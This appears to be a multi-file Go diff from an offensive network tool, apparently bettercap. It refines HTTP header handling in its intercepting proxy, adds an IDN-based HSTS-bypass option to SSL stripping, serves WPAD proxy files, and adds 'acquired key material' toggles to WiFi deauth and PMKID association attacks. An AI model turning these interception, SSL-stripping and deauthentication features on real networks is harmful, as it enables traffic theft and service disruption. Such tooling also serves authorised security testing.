if len(header_parts) != 0 && len(header_parts[0]) == 3 {
header_name := string(header_parts[0][1])
header_value := string(header_parts[0][2])
if strings.ToLower(name) == strings.ToLower(header_name) { if strings.ToLower(name) == strings.ToLower(header_name) {
return header_value return header_value
}
}
} }
} }
return deflt return deflt
} }
func (j *JSRequest) SetHeader(name, value string) { func (j *JSRequest) SetHeader(name, value string) {
name = strings.TrimSpace(name)
value = strings.TrimSpace(value)
if strings.ToLower(name) == "content-type" {
j.ContentType = value;
}
headers := strings.Split(j.Headers, "\r\n") headers := strings.Split(j.Headers, "\r\n")
for i := 0; i < len(headers); i++ { for i := 0; i < len(headers); i++ {
header_name := header_regexp.ReplaceAllString(headers[i], "$1") if headers[i] != "" {
header_value := header_regexp.ReplaceAllString(headers[i], "$2") header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1)
if len(header_parts) != 0 && len(header_parts[0]) == 3 {
header_name := string(header_parts[0][1])
header_value := string(header_parts[0][2])
if strings.ToLower(name) == strings.ToLower(header_name) { if strings.ToLower(name) == strings.ToLower(header_name) {
old_header := header_name + ": " + header_value + "\r\n" old_header := header_name + ": " + header_value + "\r\n"
new_header := header_name + ": " + value + "\r\n" new_header := name + ": " + value + "\r\n"
j.Headers = strings.Replace(j.Headers, old_header, new_header, 1) j.Headers = strings.Replace(j.Headers, old_header, new_header, 1)
return return
}
}
} }
} }
j.Headers += name + ": " + value + "\r\n" j.Headers += name + ": " + value + "\r\n"
@ -123,13 +140,18 @@ func (j *JSRequest) SetHeader(name, value string) {
func (j *JSRequest) RemoveHeader(name string) { func (j *JSRequest) RemoveHeader(name string) {
headers := strings.Split(j.Headers, "\r\n") headers := strings.Split(j.Headers, "\r\n")
for i := 0; i < len(headers); i++ { for i := 0; i < len(headers); i++ {
header_name := header_regexp.ReplaceAllString(headers[i], "$1") if headers[i] != "" {
header_value := header_regexp.ReplaceAllString(headers[i], "$2") header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1)
if len(header_parts) != 0 && len(header_parts[0]) == 3 {
header_name := string(header_parts[0][1])
header_value := string(header_parts[0][2])
if strings.ToLower(name) == strings.ToLower(header_name) { if strings.ToLower(name) == strings.ToLower(header_name) {
removed_header := header_name + ": " + header_value + "\r\n" removed_header := header_name + ": " + header_value + "\r\n"
j.Headers = strings.Replace(j.Headers, removed_header, "", 1) j.Headers = strings.Replace(j.Headers, removed_header, "", 1)
return return
}
}
} }
} }
} }
@ -179,26 +201,26 @@ func (j *JSRequest) ToRequest() (req *http.Request) {
req, _ = http.NewRequest(j.Method, url, strings.NewReader(j.Body)) req, _ = http.NewRequest(j.Method, url, strings.NewReader(j.Body))
} }
hadType := false
headers := strings.Split(j.Headers, "\r\n") headers := strings.Split(j.Headers, "\r\n")
for i := 0; i < len(headers); i++ { for i := 0; i < len(headers); i++ {
if headers[i] != "" { if headers[i] != "" {
header_name := header_regexp.ReplaceAllString(headers[i], "$1") header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1)
header_value := header_regexp.ReplaceAllString(headers[i], "$2") if len(header_parts) != 0 && len(header_parts[0]) == 3 {
header_name := string(header_parts[0][1])
header_value := string(header_parts[0][2])
req.Header.Set(header_name, header_value) if strings.ToLower(header_name) == "content-type" {
if strings.ToLower(header_name) == "content-type" { if header_value != j.ContentType {
hadType = true req.Header.Set(header_name, j.ContentType)
continue
}
}
req.Header.Set(header_name, header_value)
} }
} }
} }
req.RemoteAddr = j.Client["IP"] req.RemoteAddr = j.Client["IP"]
if !hadType && j.ContentType != "" {
req.Header.Set("Content-Type", j.ContentType)
}
return return
} }

View file

@ -79,27 +79,44 @@ func (j *JSResponse) WasModified() bool {
func (j *JSResponse) GetHeader(name, deflt string) string { func (j *JSResponse) GetHeader(name, deflt string) string {
headers := strings.Split(j.Headers, "\r\n") headers := strings.Split(j.Headers, "\r\n")
for i := 0; i < len(headers); i++ { for i := 0; i < len(headers); i++ {
header_name := header_regexp.ReplaceAllString(headers[i], "$1") if headers[i] != "" {
header_value := header_regexp.ReplaceAllString(headers[i], "$2") header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1)
if len(header_parts) != 0 && len(header_parts[0]) == 3 {
header_name := string(header_parts[0][1])
header_value := string(header_parts[0][2])
if strings.ToLower(name) == strings.ToLower(header_name) { if strings.ToLower(name) == strings.ToLower(header_name) {
return header_value return header_value
}
}
} }
} }
return deflt return deflt
} }
func (j *JSResponse) SetHeader(name, value string) { func (j *JSResponse) SetHeader(name, value string) {
name = strings.TrimSpace(name)
value = strings.TrimSpace(value)
if strings.ToLower(name) == "content-type" {
j.ContentType = value
}
headers := strings.Split(j.Headers, "\r\n") headers := strings.Split(j.Headers, "\r\n")
for i := 0; i < len(headers); i++ { for i := 0; i < len(headers); i++ {
header_name := header_regexp.ReplaceAllString(headers[i], "$1") if headers[i] != "" {
header_value := header_regexp.ReplaceAllString(headers[i], "$2") header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1)
if len(header_parts) != 0 && len(header_parts[0]) == 3 {
header_name := string(header_parts[0][1])
header_value := string(header_parts[0][2])
if strings.ToLower(name) == strings.ToLower(header_name) { if strings.ToLower(name) == strings.ToLower(header_name) {
old_header := header_name + ": " + header_value + "\r\n" old_header := header_name + ": " + header_value + "\r\n"
new_header := header_name + ": " + value + "\r\n" new_header := name + ": " + value + "\r\n"
j.Headers = strings.Replace(j.Headers, old_header, new_header, 1) j.Headers = strings.Replace(j.Headers, old_header, new_header, 1)
return return
}
}
} }
} }
j.Headers += name + ": " + value + "\r\n" j.Headers += name + ": " + value + "\r\n"
@ -108,13 +125,18 @@ func (j *JSResponse) SetHeader(name, value string) {
func (j *JSResponse) RemoveHeader(name string) { func (j *JSResponse) RemoveHeader(name string) {
headers := strings.Split(j.Headers, "\r\n") headers := strings.Split(j.Headers, "\r\n")
for i := 0; i < len(headers); i++ { for i := 0; i < len(headers); i++ {
header_name := header_regexp.ReplaceAllString(headers[i], "$1") if headers[i] != "" {
header_value := header_regexp.ReplaceAllString(headers[i], "$2") header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1)
if len(header_parts) != 0 && len(header_parts[0]) == 3 {
header_name := string(header_parts[0][1])
header_value := string(header_parts[0][2])
if strings.ToLower(name) == strings.ToLower(header_name) { if strings.ToLower(name) == strings.ToLower(header_name) {
removed_header := header_name + ": " + header_value + "\r\n" removed_header := header_name + ": " + header_value + "\r\n"
j.Headers = strings.Replace(j.Headers, removed_header, "", 1) j.Headers = strings.Replace(j.Headers, removed_header, "", 1)
return return
}
}
} }
} }
} }
@ -130,10 +152,13 @@ func (j *JSResponse) ToResponse(req *http.Request) (resp *http.Response) {
headers := strings.Split(j.Headers, "\r\n") headers := strings.Split(j.Headers, "\r\n")
for i := 0; i < len(headers); i++ { for i := 0; i < len(headers); i++ {
if headers[i] != "" { if headers[i] != "" {
header_name := header_regexp.ReplaceAllString(headers[i], "$1") header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1)
header_value := header_regexp.ReplaceAllString(headers[i], "$2") if len(header_parts) != 0 && len(header_parts[0]) == 3 {
header_name := string(header_parts[0][1])
header_value := string(header_parts[0][2])
resp.Header.Add(header_name, header_value) resp.Header.Add(header_name, header_value)
}
} }
} }

View file

@ -83,6 +83,9 @@ func (mod *HttpServer) Configure() error {
router.HandleFunc("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { router.HandleFunc("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
mod.Debug("%s %s %s%s", tui.Bold(strings.Split(r.RemoteAddr, ":")[0]), r.Method, r.Host, r.URL.Path) mod.Debug("%s %s %s%s", tui.Bold(strings.Split(r.RemoteAddr, ":")[0]), r.Method, r.Host, r.URL.Path)
if r.URL.Path == "/proxy.pac" || r.URL.Path == "/wpad.dat" {
w.Header().Set("Content-Type", "application/x-ns-proxy-autoconfig")
}
fileServer.ServeHTTP(w, r) fileServer.ServeHTTP(w, r)
})) }))

View file

@ -17,7 +17,7 @@ type HttpsProxy struct {
func NewHttpsProxy(s *session.Session) *HttpsProxy { func NewHttpsProxy(s *session.Session) *HttpsProxy {
mod := &HttpsProxy{ mod := &HttpsProxy{
SessionModule: session.NewSessionModule("https.proxy", s), SessionModule: session.NewSessionModule("https.proxy", s),
proxy: http_proxy.NewHTTPProxy(s), proxy: http_proxy.NewHTTPProxy(s, "https.proxy"),
} }
mod.AddParam(session.NewIntParameter("https.port", mod.AddParam(session.NewIntParameter("https.port",
@ -41,6 +41,10 @@ func NewHttpsProxy(s *session.Session) *HttpsProxy {
"false", "false",
"Enable or disable SSL stripping.")) "Enable or disable SSL stripping."))
mod.AddParam(session.NewBoolParameter("https.proxy.sslstrip.useIDN",
"false",
"Use an Internationalized Domain Name to bypass HSTS. Otherwise, double the last TLD's character"))
mod.AddParam(session.NewStringParameter("https.proxy.injectjs", mod.AddParam(session.NewStringParameter("https.proxy.injectjs",
"", "",
"", "",
@ -81,6 +85,8 @@ func NewHttpsProxy(s *session.Session) *HttpsProxy {
return mod.Stop() return mod.Stop()
})) }))
mod.InitState("stripper")
return mod return mod
} }
@ -106,6 +112,7 @@ func (mod *HttpsProxy) Configure() error {
var certFile string var certFile string
var keyFile string var keyFile string
var stripSSL bool var stripSSL bool
var useIDN bool
var jsToInject string var jsToInject string
var whitelist string var whitelist string
var blacklist string var blacklist string
@ -122,6 +129,8 @@ func (mod *HttpsProxy) Configure() error {
return err return err
} else if err, stripSSL = mod.BoolParam("https.proxy.sslstrip"); err != nil { } else if err, stripSSL = mod.BoolParam("https.proxy.sslstrip"); err != nil {
return err return err
} else if err, useIDN = mod.BoolParam("https.proxy.sslstrip.useIDN"); err != nil {
return err
} else if err, certFile = mod.StringParam("https.proxy.certificate"); err != nil { } else if err, certFile = mod.StringParam("https.proxy.certificate"); err != nil {
return err return err
} else if certFile, err = fs.Expand(certFile); err != nil { } else if certFile, err = fs.Expand(certFile); err != nil {
@ -160,8 +169,13 @@ func (mod *HttpsProxy) Configure() error {
mod.Info("loading proxy certification authority TLS certificate from %s", certFile) mod.Info("loading proxy certification authority TLS certificate from %s", certFile)
} }
return mod.proxy.ConfigureTLS(address, proxyPort, httpPort, doRedirect, scriptPath, certFile, keyFile, jsToInject, error := mod.proxy.ConfigureTLS(address, proxyPort, httpPort, doRedirect, scriptPath, certFile, keyFile, jsToInject,
stripSSL) stripSSL, useIDN)
// save stripper to share it with other http(s) proxies
mod.State.Store("stripper", mod.proxy.Stripper)
return error
} }
func (mod *HttpsProxy) Start() error { func (mod *HttpsProxy) Start() error {
@ -175,6 +189,7 @@ func (mod *HttpsProxy) Start() error {
} }
func (mod *HttpsProxy) Stop() error { func (mod *HttpsProxy) Stop() error {
mod.State.Store("stripper", nil)
return mod.SetRunning(false, func() { return mod.SetRunning(false, func() {
mod.proxy.Stop() mod.proxy.Stop()
}) })

View file

@ -49,11 +49,13 @@ type WiFiModule struct {
deauthSkip []net.HardwareAddr deauthSkip []net.HardwareAddr
deauthSilent bool deauthSilent bool
deauthOpen bool deauthOpen bool
deauthAcquired bool
assocSkip []net.HardwareAddr assocSkip []net.HardwareAddr
assocSilent bool assocSilent bool
assocOpen bool assocOpen bool
csaSilent bool csaSilent bool
fakeAuthSilent bool fakeAuthSilent bool
assocAcquired bool
filterProbeSTA *regexp.Regexp filterProbeSTA *regexp.Regexp
filterProbeAP *regexp.Regexp filterProbeAP *regexp.Regexp
apRunning bool apRunning bool
@ -82,11 +84,13 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
deauthSkip: []net.HardwareAddr{}, deauthSkip: []net.HardwareAddr{},
deauthSilent: false, deauthSilent: false,
deauthOpen: false, deauthOpen: false,
deauthAcquired: false,
assocSkip: []net.HardwareAddr{}, assocSkip: []net.HardwareAddr{},
assocSilent: false, assocSilent: false,
assocOpen: false, assocOpen: false,
csaSilent: false, csaSilent: false,
fakeAuthSilent: false, fakeAuthSilent: false,
assocAcquired: false,
showManuf: false, showManuf: false,
shakesAggregate: true, shakesAggregate: true,
writes: &sync.WaitGroup{}, writes: &sync.WaitGroup{},
@ -264,6 +268,10 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
"true", "true",
"Send wifi deauth packets to open networks.")) "Send wifi deauth packets to open networks."))
mod.AddParam(session.NewBoolParameter("wifi.deauth.acquired",
"false",
"Send wifi deauth packets from AP's for which key material was already acquired."))
assoc := session.NewModuleHandler("wifi.assoc BSSID", `wifi\.assoc ((?:[a-fA-F0-9:]{11,})|all|\*)`, assoc := session.NewModuleHandler("wifi.assoc BSSID", `wifi\.assoc ((?:[a-fA-F0-9:]{11,})|all|\*)`,
"Send an association request to the selected BSSID in order to receive a RSN PMKID key. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate for every access point.", "Send an association request to the selected BSSID in order to receive a RSN PMKID key. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate for every access point.",
func(args []string) error { func(args []string) error {
@ -327,6 +335,10 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
"false", "false",
"Send association requests to open networks.")) "Send association requests to open networks."))
mod.AddParam(session.NewBoolParameter("wifi.assoc.acquired",
"false",
"Send association to AP's for which key material was already acquired."))
mod.AddHandler(session.NewModuleHandler("wifi.ap", "", mod.AddHandler(session.NewModuleHandler("wifi.ap", "",
"Inject fake management beacons in order to create a rogue access point.", "Inject fake management beacons in order to create a rogue access point.",
func(args []string) error { func(args []string) error {

View file

@ -51,6 +51,15 @@ func (mod *WiFiModule) doAssocOpen() bool {
return mod.assocOpen return mod.assocOpen
} }
func (mod *WiFiModule) doAssocAcquired() bool {
if err, is := mod.BoolParam("wifi.assoc.acquired"); err != nil {
mod.Warning("%v", err)
} else {
mod.assocAcquired = is
}
return mod.assocAcquired
}
func (mod *WiFiModule) startAssoc(to net.HardwareAddr) error { func (mod *WiFiModule) startAssoc(to net.HardwareAddr) error {
// parse skip list // parse skip list
if err, assocSkip := mod.StringParam("wifi.assoc.skip"); err != nil { if err, assocSkip := mod.StringParam("wifi.assoc.skip"); err != nil {
@ -109,6 +118,8 @@ func (mod *WiFiModule) startAssoc(to net.HardwareAddr) error {
if ap.IsOpen() && !mod.doAssocOpen() { if ap.IsOpen() && !mod.doAssocOpen() {
mod.Debug("skipping association for open network %s (wifi.assoc.open is false)", ap.ESSID()) mod.Debug("skipping association for open network %s (wifi.assoc.open is false)", ap.ESSID())
} else if ap.HasKeyMaterial() && !mod.doAssocAcquired() {
mod.Debug("skipping association for AP %s (key material already acquired)", ap.ESSID())
} else { } else {
logger("sending association request to AP %s (channel:%d encryption:%s)", ap.ESSID(), ap.Channel, ap.Encryption) logger("sending association request to AP %s (channel:%d encryption:%s)", ap.ESSID(), ap.Channel, ap.Encryption)

View file

@ -67,6 +67,15 @@ func (mod *WiFiModule) doDeauthOpen() bool {
return mod.deauthOpen return mod.deauthOpen
} }
func (mod *WiFiModule) doDeauthAcquired() bool {
if err, is := mod.BoolParam("wifi.deauth.acquired"); err != nil {
mod.Warning("%v", err)
} else {
mod.deauthAcquired = is
}
return mod.deauthAcquired
}
func (mod *WiFiModule) startDeauth(to net.HardwareAddr) error { func (mod *WiFiModule) startDeauth(to net.HardwareAddr) error {
// parse skip list // parse skip list
if err, deauthSkip := mod.StringParam("wifi.deauth.skip"); err != nil { if err, deauthSkip := mod.StringParam("wifi.deauth.skip"); err != nil {
@ -136,6 +145,8 @@ func (mod *WiFiModule) startDeauth(to net.HardwareAddr) error {
if ap.IsOpen() && !mod.doDeauthOpen() { if ap.IsOpen() && !mod.doDeauthOpen() {
mod.Debug("skipping deauth for open network %s (wifi.deauth.open is false)", ap.ESSID()) mod.Debug("skipping deauth for open network %s (wifi.deauth.open is false)", ap.ESSID())
} else if ap.HasKeyMaterial() && !mod.doDeauthAcquired() {
mod.Debug("skipping deauth for AP %s (key material already acquired)", ap.ESSID())
} else { } else {
logger("deauthing client %s from AP %s (channel:%d encryption:%s)", client.String(), ap.ESSID(), ap.Channel, ap.Encryption) logger("deauthing client %s from AP %s (channel:%d encryption:%s)", client.String(), ap.ESSID(), ap.Channel, ap.Encryption)